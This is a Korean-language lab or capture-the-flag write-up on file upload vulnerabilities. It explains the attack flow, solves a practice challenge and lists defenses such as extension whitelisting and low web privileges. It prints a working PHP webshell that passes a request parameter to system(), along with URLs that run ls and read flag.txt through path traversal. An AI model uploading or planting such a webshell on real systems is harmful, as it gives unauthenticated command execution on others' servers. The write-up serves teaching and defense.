개념정리
파일 업로드 취약점에 대해 알아보자.
○ 파일 업로드 취약점
웹 애플리케이션에서 사용자가 업로드한 파일을 처리하는 과정에서 발생할 수 있는 취약점으로 파일 업로드 기능이 존재하는 웹 사이트의 확장자 필터링이 미흡할 경우, 공격자가 악성 파일을 업로드하여 시스템을 장악할 수 있는 취약점이다.
공격자가 아무런 검증이 없는 웹사이트에 원하는 파일을 업로드할 수 있는 환경이라고 가정하자.
공격자가 웹쉘을 정상적으로 업로드한다면 웹쉘에 접근해서 시스템 명령어를 실행할 수 있게되고 공격자는 시스템 내부를 탐색하고 장악할 수 있을 것이다.
웹쉘을 업로드하면 공격자들은 보안 시스템을 피하여 별도의 인증없이 시스템에 쉽게 접속 가능하므로 굉장히 위험한 취약점이라고 할 수 있다.
○ 공격 절차
- 해커는 악성 파일(웹쉘)을 업로드하여 웹 서버에 저장한다.
- 해커는 업로드한 파일의 경로와 파일 이름을 이용하여 원격으로 코드를 실행할 수 있는 웹쉘을 실행한다.
- 웹쉘을 통해 시스템 명령어를 실행하고 시스템 내부를 탐색 및 장악한다.
문제분석 & 풀이
Home
, List
, Upload
가 존재한다.
파일 업로드 취약점을 실습하는 문제고 Upload 페이지가 있는 점을 고려할 때, 파일 업로드 기능으로 웹쉘을 업로드하고 flag.txt
를 읽는 것이 공격 순서가 될 것이다.
upload.php
에 접속해서 웹쉘을 업로드했다.
사용한 웹쉘 코드는 다음과 같다.
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
업로드 결과로 파일 경로를 알려준다.
/uploads/webshell.jpg.php?cmd=ls
웹쉘에 접근하고 ls
명령을 실행해보자.
명령이 정상적으로 실행된 것을 확인할 수 있다.
이번에는 cat ../../../../flag.txt
를 전송해서 flag.txt를 읽어보자.
대응방안
○ 파일 확장자 제한 (확장자 필터링)
파일 업로드시 허용되는 파일 유형만 허용하는 방법이다. 화이트리스트 방식이라고도 불리며 보통 이미지 파일, 문서 파일 등 사용자가 업로드해야 할 파일 유형을 사전에 지정하고, 그 이외의 파일은 업로드를 거부한다. 파일 확장자나 MIME 타입 등의 정보를 이용해 검증할 수 있다. 반대로 허용하지 않는 파일 유형을 지정하는 블랙리스트 방식도 존재한다.
○ 파일 크기 제한
업로드할 수 있는 파일의 크기를 제한하는 방법이다. 대부분의 웹 어플리케이션에서 파일 크기 제한은 설정할 수 있으며, 업로드할 수 있는 파일의 크기를 제한하면 대량의 데이터 업로드를 막을 수 있다.
○ 파일 이름의 제한
파일 이름에 대한 제한을 두는 방법이다. 파일 이름에 특수문자나 공백이 포함되지 않도록 제한하거나, 파일 이름 길이에 제한을 둘 수 있다. 이를 통해 파일 이름을 이용한 공격을 방지할 수 있다.
○ 파일 저장 위치 지정
파일 업로드시 파일이 저장될 위치를 지정하고 해당 디렉토리 내에서만 파일을 업로드하도록 제한하는 방법이다. 이를 통해 공격자가 업로드한 파일에 접근할 수 없도록 하거나 ".htaccess"와 같은 웹 서버 설정 파일에 영향을 주지 못하도록 방지할 수 있다.
○ 파일 검사
악성 파일을 검출하는 방법이다. 업로드된 파일을 안티바이러스 프로그램을 이용하여 검사하거나, 파일 내용의 헤더나 매직넘버를 검사하여 파일이 올바른 형식인지 확인할 수 있다.
○ 보안 업데이트 및 패치
웹 어플리케이션 보안을 유지하기 위해서는 정기적으로 웹 어플리케이션 보안 업데이트 및 패치를 수행해야한다. 이를 통해 최신 보안 문제를 해결하고, 보안 취약점을 방지할 수 있다. 예를 들면 ejs 3.16 버전을 사용하는 웹 애플리케이션이라면 최신버전으로 업데이트하고 ejs 3.16 버전에서 발생하는 취약점을 방지해야한다.
○ 웹 권한 설정 제한
웹 권한을 낮은 권한으로 설정함으로써 웹 쉘이 업로드되더라도 시스템 내부에서 많은 권한을 행사할 수 없도록 방지한다.